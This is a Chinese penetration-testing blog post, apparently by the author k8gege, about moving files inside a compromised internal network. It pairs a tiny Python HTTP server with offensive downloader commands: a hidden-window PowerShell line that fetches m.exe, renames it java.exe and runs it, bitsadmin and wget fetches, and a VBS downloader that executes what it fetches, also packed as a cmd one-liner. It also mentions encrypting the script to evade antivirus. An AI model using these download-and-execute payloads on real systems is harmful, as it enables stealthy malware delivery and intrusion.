zoukankan      html  css  js  c++  java
  • [源码]Python简易http服务器(内网渗透大文件传输含下载命令)

    Python简易http服务器源码

    import SimpleHTTPServer
    import SocketServer
    import sys
    PORT = 80
    if len(sys.argv) != 2:
        print("use: web.exe port")
    else:
        PORT = int(sys.argv[1])
        Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
        httpd = SocketServer.TCPServer(("", PORT), Handler)
        print "SimpleHTTPServer is ", PORT
        print "by k8gege"
        httpd.serve_forever()

    用法:

    python web.py 端口

    web.exe 端口

    访问: http://IP:端口

    内网渗透

    机器A:可上网

    机器B:不联网

    0x001 机器A文件传到机器B
    使用方法,自行打包成可执行文件传到机器部署Web

    然后在机器B上通过wget、VBS、Powershell等命令下载文件到机器B

    0x002 机器B文件传到机器A

    当然也可以反过来,将此程序上传到不可上网机器部部署web

    再通过机器A下载机器B文件

    0x003 速度

    WGET内网下载速度高达70M/S

     下载命令

    下载者(隐藏窗口)
    powershell -WindowStyle Hidden "IEX (New-Object Net.WebClient).DownloadFile('http://192.168.85.131/m.exe','c:windows	empjava.exe');Start-Process c:windows	empjava.exe"
    
    系统自带bitsadmin下载文件(python简易WEB服务器不太友好,可能会报错)
    
    bitsadmin /transfer n http://192.10.1.8/img/wget.exe C:WINDOWSTempwget.exe
    
    VBS下载者
    Set Post = CreateObject("Msxml2.XMLHTTP")
    Set Shell = CreateObject("Wscript.Shell")
    Post.Open "GET","http://192.168.25.128:13272/m.exe",0
    Post.Send()
    Set aGet = CreateObject("ADODB.Stream")
    aGet.Mode = 3
    aGet.Type = 1
    aGet.Open()
    aGet.Write(Post.responseBody)
    afile = "java.exe"
    aGet.SaveToFile afile,2
    Shell.Run (afile)
    
    

     如果仅有CMD权限,可用K8飞刀将VBS转成一行命令执行

    如果有杀软也可通过随机ASCII码加密进行免杀(个别杀软不行了)

    CMD命令-VBS下载者
    del K8.vbs&echo Set Post = CreateObject("Msxml2.XMLHTTP") >> K8.vbs&&echo Set Shell = CreateObject("Wscript.Shell") >> K8.vbs&&echo Post.Open "GET","http://192.168.25.128:13272/m.exe",0 >> K8.vbs&&echo Post.Send() >> K8.vbs&&echo Set aGet = CreateObject("ADODB.Stream") >> K8.vbs&&echo aGet.Mode = 3 >> K8.vbs&&echo aGet.Type = 1 >> K8.vbs&&echo aGet.Open() >> K8.vbs&&echo aGet.Write(Post.responseBody) >> K8.vbs&&echo afile = "java.exe" >> K8.vbs&&echo aGet.SaveToFile afile,2 >> K8.vbs&&echo Shell.Run (afile) >> K8.vbs&&cscript K8.vbs&&del K8.vbs
    

    以上命令可能不太方便,或者传输速度较慢,特别是侈传大文件的时候就知道了(不支持端口续传你就得重新下载)

    我们可以通过以上方法将Wget先下载过去,再通过Wget下载文件

    Wget下载(Linux自带,win需传过去)
    wget -P /tmp http://39.109.6.128/cmd.txt
    

    终极方法(cmd直接输出文件)

    工具k8exe2bat:  https://www.cnblogs.com/k8gege/p/10585903.html

    将任意文件转成BAT,通过Bat直接输出文件到目标,在条件非常奇葩的情况下可使用。

    因为转出来的命令比较多,仅能执行CMD时会比较麻烦,如果可上传BAT执行还好

    PS: 很简单但很多人不懂,特别是客户或新人,遇到不懂的直接发文章给他(可能工具还得编译好的)

      当然如果内网自带WEB或其它可用文件传输工具,再自已弄个web进行文件传输就是SB了

     下载: https://github.com/k8gege/K8tools/blob/master/web.py

     下载: https://github.com/k8gege/K8tools/blob/master/web.exe 无Python环境可直接下载exe

  • 相关阅读:
    生命周期-BeanPostProcessor-后置处理器
    生命周期-@PostConstruct&@PreDestroy
    生命周期-InitializingBean和DisposableBean
    异常安全
    inline函数
    bool类型
    函数重载与默认参数
    C++强制转换
    引用
    new/delete表达式
  • 原文地址:https://www.cnblogs.com/k8gege/p/10585372.html
Copyright © 2011-2022 走看看